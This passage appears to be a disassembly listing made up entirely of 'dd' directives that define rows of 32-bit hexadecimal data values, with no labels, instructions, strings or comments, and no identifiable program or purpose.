		dd 0E074326Dh, 0E6304h,	88D61898h, 520F1B25h, 46F03150h
		dd 0FB0721h, 8CAA9D40h,	7E4C5C2Ah, 0B74C50h, 1A054ECCh
		dd 3845BBEh, 0B064350Dh, 6098E0DEh, 0B23F1523h,	4CC0815Eh
		dd 0F147C9A2h, 18F21470h, 5094EA55h, 20C0EED7h,	0DABF8EC6h
		dd 1EE9ECF8h, 4016750h,	0C01CADD8h, 7855F584h, 7CBE180h
		dd 0E2B682A7h, 675C3004h, 1E00C991h, 0F4131D3Ah, 1B65B1h
		dd 26E21F79h, 2FB4194Ch, 9D61AC0Eh, 786E6069h, 6798D9h
		dd 2184A7A5h, 0D37E9BD5h, 0CC38AB00h, 572B6F7Fh, 0CAC0F9AEh
		dd 0B9FD00B6h, 8E798A9Eh, 3C1DF3EFh, 558B03C9h,	6C5D818Fh
		dd 0E09768E4h, 0ED4480A5h, 312FD4FDh, 26C8005Dh, 0AE7FF9h
		dd 0C27921BAh, 0F6CDF114h, 0A5D5CE0Ch, 2910C1h,	96DDF520h
		dd 0BC8131C6h, 40038300h, 0A167C4D9h, 68E7005Ch, 9A0AF25Bh
		dd 0D250EF97h, 0DD004780h, 8F66B27Ch, 0EABAC368h, 0FA2F051Ch
		dd 37E40Bh, 56FF8BF7h, 22001121h, 98FB4382h, 2D017DEh
		dd 96CE944Eh, 0B4E804A9h, 9E3EC7D8h, 18F40E2Ah,	338FE0B8h
		dd 0FE3F1C15h, 0F747FC48h, 46E9FA31h, 5E75F9D0h, 6041FF5h
		dd 49F6F197h, 0AE9B733Ah, 0B400D66Fh, 87C23FA3h, 4FF503B0h
		dd 0ACA801FBh, 97FA9EE0h, 4C593900h, 9F96B855h,	72DF0069h
		dd 19CFB26Eh, 0D9003CA3h, 0D53715AFh, 3D29BCh, 0A8CE9EB1h
		dd 40F2DCA1h, 7024C70h,	0B74A498Ch, 0E3BCA06Bh,	6B3FA7E4h
		dd 590F3835h, 597B6381h, 2FE5C0B3h, 0F12CE900h,	5C0F21B5h
		dd 16C7E95h, 8B1A6A0Eh,	0C8528ECBh, 630074AFh, 7A88C465h
		dd 0BEA19Dh, 7D7EEC4Ch,	6244E6F0h, 0B1426003h, 68B2B943h
		dd 58048069h, 3001D46h,	2849336Eh, 1F112E97h, 0F43D30Bh
		dd 5E606602h, 0B82B7FF4h, 332497EAh, 90007E74h,	52838D5Ch
		dd 6B88001Eh, 67F7494Ch, 2E06183Ah, 23A0A3D3h, 0C07669h
		dd 4FCF4320h, 87976C17h, 56541374h, 280355D4h, 52E84D21h
		dd 988B9BCEh, 0D9B5FFh,	88041E13h, 74375BAFh, 5EF5F200h
		dd 0BD41D826h, 0CE3602A1h, 3AD9F985h, 90A3EE60h, 4018E1E6h
		dd 0CDE06C1Eh, 0CC9737E8h, 4256F050h, 0D900C323h, 9B4BC85Bh
		dd 6ECF20E0h, 6CA02069h, 3B91485Ch, 570820A7h, 0B851C324h
		dd 5047EB99h, 0E1415AA8h, 13483490h, 9D752858h,	21C061E8h
		dd 4E17931h, 7C3A186Eh,	0FB3DD15Eh, 9B207805h, 0D041B6BFh
		dd 3E047F58h, 19A78DF8h, 85534F5h, 75218580h, 3EC30487h
		dd 60FDF86Ch, 0B49B39E7h, 48504D8Ch, 0C100BA71h, 54721961h
		dd 50F91CF1h, 8C2AD045h, 50209B02h, 191387CFh, 0A360105Bh
		dd 109F0520h, 8207A470h, 0FD4058EDh, 0AC907568h, 20FFCB00h
		dd 423ADD33h, 3C9094BCh, 0F7A31EF2h, 8CA78148h,	98374B14h
		dd 8A21CC08h, 0D5039529h, 0D918B0C7h, 6A794E9Dh, 0CC7903D7h
		dd 475DA81Dh, 8F1A3EE8h, 18DFF8A0h, 0A3DCF754h,	36C04E0Fh
		dd 0B85482EFh, 43C8B085h, 0CEA108E1h, 0FE62B463h, 3B3300B7h
		dd 0A4014BE1h, 9DCF9AF2h, 86EC430Ch, 2223EC2Ch,	37A68AEh
		dd 0DD06CB28h, 9668C764h, 0E4E14E61h, 608C5BCEh, 46382162h
		dd 511C1DE1h, 53424CC6h, 602AB1ACh, 0FCD925h, 8FB46B75h
		dd 1C514E65h, 9D7FA14h,	7B5C09D8h, 70142022h, 1106D5DEh
		dd 7384D2CEh, 0F4854A0Eh, 0BD864EC6h, 0E0EFE700h, 1FFB83Dh
		dd 3C0657C0h, 30974DB3h, 35020894h, 2079F7A9h, 4384C9Eh
		dd 3D41048Eh, 218C6225h, 0F8049676h, 15E406B3h,	0BD4DAFF6h
		dd 277E1C30h, 772A4480h, 607470F5h, 83D160BFh, 23399FC8h
		dd 555F0359h, 0D87D8FBDh, 840D1Ch, 9AE363F6h, 0FA0B52F1h
		dd 71ECB500h, 0F06D2E7h, 7BA3A1Fh, 20F66E18h, 0EC00AD59h
		dd 0FD7FB05Bh, 8854119h, 0FFA60FDAh, 8A73E700h,	7F0F85Fh
		dd 8777CAD3h, 1842F0A9h, 8EE2DA24h, 7008DE30h, 0B88380C3h
		dd 0D4084B6h, 0E772ECAEh, 63401278h, 0ECA65A20h, 58C460AFh
		dd 2425C37Bh, 0A09A4106h, 4909CBh, 4F3D352Bh, 261A9584h
		dd 85D8C37h, 764E21ACh,	0B93F012Dh, 0DFA187E4h,	0CD4880C5h
		dd 22031B14h, 0BEBC0090h, 0B1AD75Fh, 0FA61020Dh, 44AB9A80h
		dd 0EFD08740h, 0A1D10CCEh
		dd 8D5901DEh, 0F9A8BD00h, 17A7DFA6h, 242B5CD4h,	0CA18EA59h
		dd 34AD293Eh, 0AE206A00h, 0E3AC6FFDh, 669300D9h, 0B186EA81h
		dd 2F00B5C4h, 0ABA7827Fh, 37E40AA4h, 9349BD42h,	52C87199h
		dd 0FD610279h, 0CA781199h, 0C7687F0h, 667E9E2Fh, 21C0EA08h
		dd 7FCA61BFh, 0DFE6004Bh, 4DBC825Ch, 0A600A2CDh, 8D846898h
		dd 9831514h, 0F0C131F1h, 1F461402h, 731B8080h, 0C77C89CBh
		dd 2F194879h, 0F158535Eh, 19D92970h, 0A046BEAEh, 37A998A5h
		dd 7C6521h, 98A41DD9h, 0A7A9FF70h, 60B8C151h, 5229E734h
		dd 4F00647Eh, 0AE8736CAh, 0F644862Eh, 0CA7004B0h, 84D37D28h
		dd 3AFC0879h, 0DCE46687h, 8FA0A10h, 7293FC0h, 8A4DE68Fh
		dd 432405E0h, 0F0A00C1Bh, 8F10BEA8h, 8450FEB6h,	0A9048C77h
		dd 72E775ECh, 5D206B62h, 55ECA1h, 0E8AB236Fh, 0C4DCDEC3h
		dd 0A97BF806h, 1CE0C8B7h, 332F4284h, 0EBE18670h, 1A199DC3h
		dd 0A01F5290h, 799F9838h, 49288BC7h, 4C49C025h,	85AC8F48h
		dd 0BC612D0Bh, 0C895D976h, 0D88BC16h, 0D97E6780h, 1E20F24h
		dd 0DBE6711Dh, 0A829474Bh, 93244C50h, 604F6C01h, 94165C6Ah
		dd 7F3F01F7h, 1D066202h, 66218CEEh, 55923h, 0FC10C1C7h
		dd 0E357A91Bh, 289DDF00h, 0F16B0931h, 19771597h, 8407DC85h
		dd 769981F7h, 49074128h, 0E45BAA67h, 9CE5AFF0h,	0B0E65491h
		dd 0F09D0048h, 16AE83B0h, 0A511B58h, 484C58D0h,	31E484A5h
		dd 1DD11860h, 1C82A100h, 442D8B5Ah, 65120488h, 829024D3h
		dd 4C307D44h, 873508CAh, 0E0642F56h, 0CA75B340h, 97154310h
		dd 7CE007D1h, 397C8312h, 8F8D4D01h, 98232614h, 0EF300DA2h
		dd 0D4C9005Ch, 0E76ADCA9h, 2650A57Bh, 840A4580h, 0E41EB312h
		dd 5444D100h, 99CBBAC7h, 0B4FF0030h, 384DE8B3h,	0CD956D00h
		dd 6F18CA45h, 3367078Fh, 5383E725h, 4688AE82h, 0D790EA84h
		dd 0A9C450DFh, 5483C927h, 0D0CBEC7Ah, 4CC7B1C8h, 91DBD620h
		dd 0DE7D07CDh, 71219262h, 50F807CBh, 3A4ACF94h,	0EC6B7A00h
		dd 0D9D69EDEh, 609B00B5h, 57E16D18h, 9D008C4Ch,	0F1E85B25h
		dd 9C5A5E3h, 3B6E33E6h,	90800830h, 0C8501A4Dh, 0D978C023h
		dd 6646BDD2h, 69003422h, 0E86D940h, 0D0BFF5h, 6615CCA5h
		dd 10B78C44h, 246C1D3Ch, 46743C26h, 196D0537h, 5880E111h
		dd 0E2249F1Fh, 464D0A06h, 0B9FB8FE4h, 40C85D3Bh, 8CEABCh
		dd 28BCAF91h, 0C34B4180h, 44034900h, 0BEA120B1h, 1D9A32BFh
		dd 3F608260h, 70F81EF5h, 7F747601h, 0E3242F26h,	766527CCh
		dd 0ABB9C173h, 27189357h, 3039A2BCh, 8B1EAF58h,	4B49B6DCh
		dd 0E190826Eh, 0A008E31Ah, 7CA17EA5h, 1108B3ABh, 824D897Ch
		dd 0B17E87F8h, 0BE10E284h, 5A09CA76h, 200DDDFFh, 216C2F54h
		dd 88FE0283h, 3A07ED93h, 1A822B40h, 0C83EB726h,	0F66EF42h
		dd 3BBF4282h, 4E168045h, 6D230C3Ah, 0E7273F00h,	0F4E2824Dh
		dd 0D958C00Eh, 28BA5A7Ah, 38564400h, 0FEDEA506h, 5B3781Ch
		dd 0BFA10735h, 4284466Ah, 0F87B912Bh, 0E3810868h, 0DEA06214h
		dd 6D34A06h, 0E2480228h, 0FDF1283h, 6482F06Ah, 34453D44h
		dd 7A807B91h, 668737CAh, 0B1F6448Ch, 8ECA6300h,	9902CE87h
		dd 852D068Ch, 68357312h, 0F826592Ah, 0DBD77100h, 2C7B77A7h
		dd 41550F9h, 0B4723D51h, 0C2A58F4h, 0FA5F883h, 0C355D900h
		dd 0E1D8619Ch, 38CA30F6h, 0EC1E8D19h, 5C00D4E0h, 0A7B36DFEh
		dd 75B18Ch, 973A7793h, 74EA856Ah, 0E1014899h, 14E07A4Fh
		dd 5F1D6476h, 744A2127h, 97164708h, 6C6F26h, 8621B1C6h
		dd 41BF1187h, 0FBD02060h, 0E1DB2941h, 7022FE23h, 0E3187E3Ch
		dd 0FFEA29C5h, 84480848h, 2A016DCFh, 3427E3h, 12F2BED3h
		dd 6060F681h, 50ECB444h, 7AAE710h, 0ECAC5CB0h, 64177B70h
		dd 4408832Ch, 26250106h, 28AF9A41h, 3D74C098h, 8C2D8478h
		dd 493444h, 0BDCC3D2Ch,	2A14183Fh, 60BCB050h, 0A6F8DA06h
		dd 9289973h, 0DF34B0Ah,	4658A414h, 8C6EE824h, 0CEC82751h
		dd 6239E02Eh, 61FC667h,	2BA1FF21h, 74076076h, 5704DE37h
		dd 0E1705FF7h, 90A6A907h, 0A15C4FB0h, 887C4E68h, 0B26BC0E2h
		dd 0B9C704CBh, 0A6F0B320h, 1CF5AF39h, 81018370h, 0F8A3DBE2h
		dd 18C062A1h, 0BBC965E3h, 0CF940755h, 80298A43h, 99EC3CEFh
		dd 4F748309h, 0ABB0B075h, 0E8B224BFh, 8A3F5054h, 659C9854h
		dd 95E28113h, 0C0409448h, 872CCA71h, 0F5225E46h, 0E7F0B260h
		dd 50CB9985h, 748A9C68h, 467C90D9h, 0B733E2Ah, 1C4EBEA9h
		dd 7A920198h, 8687A7D9h, 8844CE64h, 54E37228h, 0FE395403h
		dd 0E8AC1732h, 0CB4A39Fh, 0EA9B57BEh, 88B0BFE0h, 88673735h
		dd 1123483Ah, 728D1D00h, 0B7C0FEh, 4B178861h, 8FABD2E4h
		dd 68C0E3E6h, 0BA3EC514h, 0D489248Eh, 0ABDA0112h, 9FF29AB7h
		dd 0EA006520h, 8F94B049h, 0F5E00FADh, 0F7448272h, 0B1648728h
		dd 0F2E16C0Dh, 54AD082h, 0B583CF00h, 31DCA9D8h,	0D9DB4884h
		dd 0F268B2F2h, 1DAD30F7h, 16553900h, 0E17A0CC5h, 27093263h
		dd 14614F60h, 0C20EE27Bh, 97673A1h, 32136882h, 3855CC5h
		dd 0CC41265Eh, 80B5F79Dh, 0BC804038h, 0D946742Ch, 7A12C100h
		dd 0B8C6AC4Bh, 625600CEh, 64334AE5h, 0E04826Bh,	67E463B4h
		dd 77086890h, 9EF7DF3h,	0E2EE56D0h, 0ABF6BC90h,	0E446994Ah
		dd 27E17E65h, 0D0177AF1h, 2B803891h, 83FB03FAh,	0A2A7E01Eh
		dd 672F4B44h, 73E824B5h, 7A2100B5h, 0CA11D1D2h,	56005971h
		dd 653BF5A0h, 2EC40Dh, 1105EA2h, 6F6C45EFh, 3900D874h
		dd 0F82ABD07h, 7C94E5Ah, 1156031Ch, 21E0461Dh, 0F80023F4h
		dd 193853B3h, 11E668C2h, 0DC6F29h, 7017E203h, 1230DFh
		dd 25404A90h, 0B61BDBB0h, 0C67C7E7Dh, 0C06A79C8h, 4E58F828h
		dd 911D1921h, 211600E2h, 0FA4FC1F8h, 0E97976h, 2EDEC892h
		dd 0DCF6B5D8h, 7C3B6E0Fh, 0EEA503ADh, 8A1006BBh, 8033AC5Ah
		dd 51392B06h, 504675h, 0C86365DDh, 0A34CD922h, 7CD0D119h
		dd 21805C08h, 0EDC86B0Fh, 0B00C7918h, 4830744Ah, 0BF380FCEh
		dd 7560454Fh, 1E5CC4Eh,	76FE4FBh, 37AE2719h, 0CA804540h
		dd 53B21B98h, 0BA3351B1h, 3F0843h, 98557721h, 0F5C84248h
		dd 1174606h, 81596Eh, 0F8B7BDD4h, 0FC1C6B89h, 14794600h
		dd 8AADCF20h, 6AE0C3AEh, 304050C4h, 48C69A8h, 4E59F81Dh
		dd 2FDE6211h, 7BF816E0h, 1A011448h, 0B650F372h,	5881CE52h
		dd 8D8B5A86h, 589C52A9h, 11C86030h, 8864D91Fh, 6806805Eh
		dd 69323AC8h, 1F014690h, 0DC5097E4h, 9447E03Dh,	1444E1C0h
		dd 0D18A1422h, 2C239C71h, 2A985C01h, 2D18FBB2h,	2547C88h
		dd 8EC3BD98h, 64406752h, 0F00A8C5Dh, 5C956284h,	64805491h
		dd 44D923C8h, 1262448Ch, 57C86C1Fh, 0D4588FC1h,	71833AD8h
		dd 6FEE2EB0h, 0CF2D6800h, 71B98AC1h, 9E961812h,	83301962h
		dd 0D8532805h, 0C808A33Ch, 0F827C06Bh, 41484E5Bh, 201BE070h
		dd 74B98F8h, 6FE15219h,	8B43FE17h, 892C28B8h, 8003FB41h
		dd 0E8F70984h, 5137302h, 0D4B8B2E6h, 0E4881DE8h, 606E64ECh
		dd 7754F824h, 4440A44Eh, 18901AE5h, 8DCD9D01h, 4F75A079h
		dd 229C48h, 0D4A8AB38h,	32645A88h, 0D8098490h, 0E3CA8Dh
		dd 7451C118h, 1618CA08h, 802A11E8h, 0B2249856h,	20448CEBh
		dd 984E007Eh, 1CAFD3C1h, 9D06C897h, 0B285CED2h,	5C0C1861h
		dd 27B8915Dh, 570539DEh, 63C0E9F8h, 0DE263Ch, 4E03416Eh
		dd 6FFE6C5Ah, 2D977707h
		dd 0BBE12762h, 39800FD0h, 0A863E38Eh, 2E054AFEh, 0B88D7AABh
		dd 0F087F823h, 1869E51h, 0CD12431h, 0CD71BBA3h,	88EC4E57h
		dd 0B5C8C0EBh, 0C907B070h, 0DEE5FC83h, 7C8E4F64h, 40CF2088h
		dd 86D309C8h, 5F8C0E9Bh, 0AF49B5CEh, 0B7AEDC10h, 2524684h
		dd 0D925C862h, 105B3174h, 5CC86A10h, 4E041906h,	0C465EB51h
		dd 23242EA8h, 60DA005Eh, 0D6F27203h, 5D080204h,	0C8C151BFh
		dd 55083DB0h, 0C87F048Ch, 626CD91Eh, 67032069h,	0AA007FC8h
		dd 60E5F359h, 187CBE1h,	0AFD08C5Ah, 401909D4h, 0B27CFBACh
		dd 39847648h, 875C001Ch, 7F50C072h, 93151D0Bh, 0B99680E1h
		dd 586DB1B3h, 18D4BC26h, 80E100DEh, 0CEFBF6D9h,	4A127AF0h
		dd 90421FA4h, 0CA0EB5h,	1DE05290h, 70EC4082h, 4777C58h
		dd 0D116DDEDh, 0A74C9006h, 5F008720h, 3D71F98Ah, 0E8721182h
		dd 4821C40Eh, 524F8028h, 7D30E4D6h, 0D7C4F0B7h,	59FC18D5h
		dd 0C9CF1005h, 6DCC5508h, 905B010Eh, 0CDBD8FA6h, 589081C8h
		dd 0DD85D4D6h, 87020A4h, 750C6C1Ah, 7D5E151h, 0CE5EBA63h
		dd 0E90CA8E8h, 30E7918Eh, 0A429556Eh, 7E00FA38h, 0A2FE0F90h
		dd 2AD66Bh, 511C9F41h, 8D67155Ah, 1D0AD4EFh, 0B031250Ch
		dd 42C95007h, 9F50068Ah, 0E902D1h, 867A58DEh, 5995F397h
		dd 0E8701F58h, 6018CDFh, 6E8C7A62h, 7C721E52h, 1EC36888h
		dd 294E91F8h, 88EC2848h, 0F8021718h, 0FAB7ADE5h, 91B44684h
		dd 0C14A80D0h, 58BED191h, 3A5D5100h, 0C0DE08E5h, 1D73284Dh
		dd 0D0FA00D4h, 2F7CBFD6h, 0AF05B79Fh, 0BCB2BDD8h, 0D2E893h
		dd 0E7C62E71h, 0F0FF1BE5h, 0AD0AC1EAh, 0E4481799h, 8C3A54C5h
		dd 0F100B923h, 0A1295762h, 18AA0041h, 0A30AF524h, 0B830A60Eh
		dd 0D0B7D126h, 0CE553A12h, 9E0C2F07h, 0F07DA0EEh, 51006BA5h
		dd 815DCC38h, 24A9BA1Dh, 11687A60h, 871F8013h, 43218A7Eh
		dd 0E4162272h, 0F8870027h, 0DE34DFBEh, 2A04F7ECh, 607571C9h
		dd 1CA53090h, 0BA9C00AFh, 61E7409Bh, 0B31D51EEh, 0EC028BDh
		dd 62961198h, 1FECA06Bh, 0CF8C265Bh, 8221CFB4h,	58FB20A6h
		dd 0B10D48DCh, 3845768Eh, 266E95F4h, 0C0C82807h, 0B21E9820h
		dd 21225B46h, 98587800h, 350FF76Ch, 8C34151Ah, 5006B4DBh
		dd 80AB1D84h, 2E7EB20Ch, 199B6860h, 18B815CCh, 1C984278h
		dd 11872230h, 88098A65h, 2A3E80E0h, 22E2BA87h, 58E1E500h
		dd 0F550C2F8h, 0D6F9009Bh, 0A6E4F43Ah, 0CCA356B7h, 63094B88h
		dd 25181581h, 8A608708h, 40DFC411h, 24872D47h, 0CC94062Ah
		dd 0D9E968DEh, 0C9F27A02h, 602906B3h, 14BCBA78h, 0B8848E47h
		dd 1236B2C1h, 52F0815Ah, 0B386CFCCh, 38A07867h,	6B0553FCh
		dd 0BC2C6C47h, 7044D48Ch, 0C5E3014Dh, 69E4C662h, 24883219h
		dd 465EF0EEh, 0BAB200DFh, 0FCA63504h, 96B13AF0h, 4EC85DB0h
		dd 28E1D9CCh, 8C2DECF4h, 2E0F8805h, 8C217ACAh, 0D1032CF8h
		dd 56BC40CDh, 5418BA8Fh, 79733800h, 0A47BCAABh,	0E50F09B2h
		dd 2081DC28h, 0DC72ADEEh, 50032A9h, 40E15916h, 98546331h
		dd 58E700ACh, 0DA83D5F6h, 805652Bh, 22D46A7Ch, 3DB84081h
		dd 55F99980h, 90573FFCh, 3460A57Ch, 0C43A8B19h,	0DC971364h
		dd 0E68200D2h, 7EB6396Ah, 0A4FC4125h, 1B6067E0h, 4E291FF8h
		dd 17C0B021h, 26F814h, 9E3DC6A0h, 7E3387D8h, 0F55D20A1h
		dd 14D77074h, 8811D22Ah, 0F806CF00h, 6AF9DFC1h,	7CC30FE7h
		dd 0C4E0B987h, 0C60C3341h, 3544FB00h, 1F7F5DE6h, 6920182Dh
		dd 0B2344855h, 8D01EF2h, 0E1289B08h, 48226ED6h,	1F3022F2h
		dd 0E8A801C5h, 5A88E90Fh, 0AC81FECCh, 800AD1D6h, 0F687A9B9h
		dd 942EB9h, 99845320h, 967B055Eh, 57689501h, 0FEB25B27h
		dd 517D3180h, 0D40E0F53h, 68A08064h, 5BF258E2h,	1794D30h
		dd 6C9CDC2Dh, 0D96AB2A9h, 13A08919h, 6004037Fh,	90B3C420h
		dd 8F305DA2h, 354F0419h, 4029AD54h, 77659ABEh, 17F60049h
		dd 46193772h, 0B9B085B1h, 0FC0F872Eh, 39275C08h, 2D6E5986h
		dd 0F6581426h, 0CAEA1080h, 0DFE88858h, 0AAD4008Ch, 0C5C3BC9h
		dd 3325BE4Ch, 756CA486h, 79D7A8E4h, 436E0740h, 90410ACAh
		dd 0D905F7B7h, 0E62EBD10h, 0CC9C1D02h, 0F442AA31h, 5C478892h
		dd 0EE602144h, 0DB24E696h, 0A039FCB6h, 0DC840C76h, 0C560AE51h
		dd 50708CA1h, 0CAADD8C8h, 9088E167h, 331A8C3h, 0FBA5D418h
		dd 8AE0778Eh, 0B6185118h, 52516236h, 0CA6A02FCh, 0B8824FB2h
		dd 31788CA0h, 7F6E07AEh, 85D0A011h, 0A197084Ch,	0A44090E8h
		dd 0C1755835h, 0BA1EDD21h, 495C2DC8h, 40173A94h, 0FE200013h
		dd 53C15140h, 504967C4h, 0A5840EF0h, 0F1A9C283h, 22E0844Dh
		dd 63872460h, 11598A23h, 2C44001Ah, 0BD697687h,	124903A9h
		dd 0E759DC47h, 0CDC2F4F8h, 0A5D91805h, 8C00D2CEh, 8C8452E2h
		dd 99C982Eh, 98A086B6h,	0BB4888h, 7665A190h, 0DA6352BEh
		dd 0D894B030h, 0F4C607D1h, 57C900E9h, 0A4A3C92h, 2E26B5C0h
		dd 0BCBF68A2h, 10A4D4D4h, 9457CC26h, 0CE14A420h, 0AC6CEFE1h
		dd 0F4FE8CE0h, 39F9F58h, 0D1BC9573h, 942143F0h,	163013A2h
		dd 0D0D0546Ah, 80221E95h, 537E0710h, 0B070A74Ah, 0D349FDE2h
		dd 8D391760h, 0CE9A35h,	5C1E15C5h, 0FD476EE5h, 0F0858C00h
		dd 3122EBB8h, 1FE0C8F8h, 628723C0h, 0DC015C8Ah,	872B41E0h
		dd 29043400h, 88BD96D0h, 7B970098h, 0E0F9CEFDh,	0D1308550h
		dd 0AF073104h, 0A2D60153h, 4A46AD25h, 0F1E3FC35h, 0C1845809h
		dd 39880002h, 14C6CEEEh, 0E0EB8A85h, 6901070Eh,	8050582Ch
		dd 0A0D13A20h, 820CC89Ch, 4360908Eh, 0A87C3B74h, 88611E03h
		dd 12AD842h, 144D4520h,	4E81172Dh, 99F61120h, 0C056E780h
		dd 80D814Bh, 0C9FCD206h, 16D85C20h, 8BFDC557h, 0C05FC88Ch
		dd 6ABC4E7Bh, 808CD358h, 0C1CFD78Eh, 7CE07CADh,	4EB90153h
		dd 0C7AFD6F8h, 1B42D75h, 0F36AC6A9h, 5DC8DFDAh,	42120078h
		dd 2253ED2Fh, 0B0160592h, 5C88D3C2h, 8E362212h,	39517013h
		dd 30266832h, 2811985Ah, 2E884BB2h, 98527A80h, 966F1618h
		dd 0B14C8B50h, 7F20B58Eh, 0DF7AADFEh, 0C8B97702h, 0A105BA5Ah
		dd 2AF6E798h, 11802271h, 57234B19h, 0CE26B791h,	22270485h
		dd 0C713905Ch, 605BC44Ch, 89CB38h, 0A9A4B77Fh, 0F0E344E1h
		dd 588915Ch, 15FD57BFh,	0B0C80CC4h, 28316B20h, 5EEFB903h
		dd 0D08C4295h, 0AC7009FCh, 137E3425h, 0A9D9E1E8h, 0B8848105h
		dd 84AE0094h, 18AD6FA1h, 0BCD1C740h, 762D2E37h,	160C825Fh
		dd 5A54E067h, 5C69F1B8h, 54B0058h, 0B2611C88h, 12D2384h
		dd 0B21D981Fh, 882B1843h, 98005779h, 4EB3EAEFh,	941105FCh
		dd 0EC97AD50h, 2E80B991h, 0B09D760Dh, 31D7633Eh, 363848FFh
		dd 606262F5h, 3AF1D935h, 2B2324h, 4F9F15FAh, 0E04F31FCh
		dd 5B4A4044h, 0A678FD00h, 9C9EB562h, 1339C88h, 2F96B630h
		dd 0B2BC44EFh, 31E5F27Ch, 0F4CAD433h, 8AD43209h, 4AF801C2h
		dd 346C06BFh, 23942F4Ah, 1883020Eh, 4848566Eh, 4D74371Dh
		dd 8E00E6FEh, 2C3323EFh, 1F95354h, 0D4D87C1Bh, 248A6E83h
		dd 3854ADD4h, 82046690h, 0ABF67472h, 304E8492h,	0F911C866h
		dd 688854D8h, 0C86E0C80h, 3F2C57h, 0C0A96D60h, 12584282h
		dd 3B95A0A0h, 0BB5A28C7h, 0C0D666h, 6B8BA482h, 0A5CF29E0h
		dd 84A32273h, 69BA73E0h, 0D0CE1706h, 813101D7h,	1E182090h
		dd 2B608748h, 1B119029h, 87264200h, 743770AFh, 8BD91600h
		dd 50559206h, 58594984h
		dd 42906403h, 0A83E1474h, 0CFC0815Ah, 9D7E339Eh, 68F10702h
		dd 791CEB79h, 36B7DC04h, 1C848F22h, 0ADBD8006h,	0E86F30A1h
		dd 0FFF86D31h, 74F46200h, 0FBF1E5A1h, 381903FAh, 0A7EC77C4h
		dd 62B272F8h, 0A8153434h, 21946C82h, 6878520Ah,	0BD9204F0h
		dd 2059056h, 239C3EDDh,	9B580014h, 36AFC633h, 904B3E24h
		dd 0F86A6E1Fh, 5F4410A7h, 30B15A60h, 5875E718h,	0F7B5C19h
		dd 608309F5h, 89802BCEh, 0AE81250Dh, 0BCB9422Eh, 65CC9C82h
		dd 6C90E2D0h, 22B4624h,	0B2279859h, 597854F3h, 1B98E87Bh
		dd 3B330400h, 52AFC15Fh, 0D9924E4h, 2E180404h, 43B8E042h
		dd 4084D800h, 7C17D0AFh, 0C54A2583h, 14911097h,	0B7E90680h
		dd 0BED186h, 0BD52680h,	5C0A9CA3h, 29090262h, 0D090B55Bh
		dd 884A6A8Ah, 842FC00Fh, 58ACEEA0h, 8CE5B8h, 80DF176Fh
		dd 0DAD0FB9Bh, 0BFA2A503h, 44D4FDF7h, 15B28C8Eh, 0F0820E36h
		dd 317F5A22h, 1DB9B000h, 0DB0DD579h, 693A04FCh,	0B35E7890h
		dd 10A04824h, 6D004DBEh, 8790A915h, 86B44B8h, 0E4C8C560h
		dd 347D602Dh, 880B390h,	89130F11h, 99A106EFh, 0DB3110B5h
		dd 0DF2120F1h, 0D4F0DD00h, 0E3E0FF1Fh, 8233B503h, 4B497CE7h
		dd 0D2AC49D0h, 0A61B9010h, 35B41A02h, 929EB097h, 799079C4h
		dd 24231813h, 11909890h, 0C8618057h, 0BE7CD924h, 0D4055930h
		dd 930090C8h, 0B294DEF5h, 9966298h, 5A36B020h, 9124B860h
		dd 0F0FDD033h, 5B00C4ADh, 8DCE7774h, 80C96625h,	408AA53Ch
		dd 16050053h, 384457A8h, 0C92D2E9Ah, 34B7D6h, 0FB0EF0BBh
		dd 90036BE1h, 2EC4277Eh, 0F8A8FCCEh, 8CDEECh, 6C01C38Fh
		dd 0AF4A70C4h, 2C843E4Bh, 1A23BC3Ah, 1E645200h,	12E3C581h
		dd 3A38F58Ah, 21323D8h,	205A0250h, 0AFDBA483h, 0C73C9BDDh
		dd 63806750h, 3BCF066Eh, 1755998h, 0B5BFB030h, 411BFDD4h
		dd 0DCE205E0h, 0A8E1DCC6h, 8604B240h, 0A5313427h, 61F2C4F2h
		dd 8207931h, 7D02E79Ah,	0FD58A444h, 5D710070h, 50E27EA2h
		dd 36113886h, 96C002DFh, 88C03CADh, 2F813E48h, 9DD4BD31h
		dd 79E4916Eh, 1C4D182Eh, 184A9001h, 341D5026h, 6E028CE2h
		dd 38550AE1h, 0BA8A053Ah, 824BAC04h, 0C839DCB5h, 921D3CB8h
		dd 6F97C523h, 0DCAB1C90h, 0B00400B9h, 0B591FC16h, 924C75E6h
		dd 223A2208h, 24F08F34h, 9DF9C72Dh, 8EDE1134h, 6D910105h
		dd 0C441EAADh, 507E4FAh, 6C80C39Eh, 2CB46940h, 25B53644h
		dd 0F065EEDAh, 0E960DFC4h, 0E601E4C9h, 0CB6849C5h, 3470D0C2h
		dd 7CF89C3Ah, 90161446h, 0C81612CBh, 8D1F79A4h,	44C0432Ah
		dd 8320C450h, 0F30A2C10h, 8A67C008h, 395D3852h,	0E8603154h
		dd 6E002F34h, 48BBEFF8h, 2DCAA70h, 7EB1CFA6h, 612477B2h
		dd 81D0005Ch, 0A4B5D92Bh, 0F5FC500h, 0D2311F70h, 0CA2D1DB6h
		dd 4EB852Eh, 34C4900Dh,	0A4A8B581h, 0B30D8AFBh,	517075D2h
		dd 62A2E023h, 3AD55030h, 851E5373h, 9D4F00AFh, 6F622EB1h
		dd 79DC4082h, 7CA883A6h, 18C0460Ah, 4DF85F08h, 5157606Eh
		dd 13C28DFEh, 75A34B00h, 71E6A851h, 8CB201B8h, 85CE9D90h
		dd 5C1C2CC6h, 0AEBEE1B4h, 703E3423h, 0BF3E4A40h, 783BDB0Ah
		dd 300E023h, 94441CF8h,	8900358h, 53AE8612h, 0FC84C805h
		dd 54F3AA31h, 26302CB2h, 0CCBC0368h, 0DB4AA5D8h, 7D8BE102h
		dd 0C5B6EB0Eh, 0D6CC2414h, 41D27603h, 0D0DECE6Ah, 0FE91EAC4h
		dd 0B36B123Dh, 0F238F2E7h, 47123061h, 82868E2Dh, 7A690CE4h
		dd 832F0078h, 0A5D4C120h, 7700A830h, 49166A3Bh,	606E7CC5h
		dd 80B12978h, 88B6C39Dh, 0D2F804A3h, 10DA60A8h,	4ECF9760h
		dd 200B6600h, 70BCB67Fh, 908F02DEh, 5CD109B4h, 1DC08C8Eh
		dd 23AB7A3h, 8001643Eh,	0D9D53C67h, 38B98678h, 0BF1EF024h
		dd 0FE614089h, 0CD66697h, 9DD5A00h, 8F9C6258h, 0F8074F8h
		dd 0B2AE7473h, 0C15F57CFh, 7C1978EBh, 8CB8F040h, 0A4E0DD00h
		dd 8F2E80CAh, 3614381Eh, 717AD07h, 52AFC091h, 0D51DE44Fh
		dd 0D44E7694h, 0F8784061h, 0E77179h, 0E8651029h, 0B534B199h
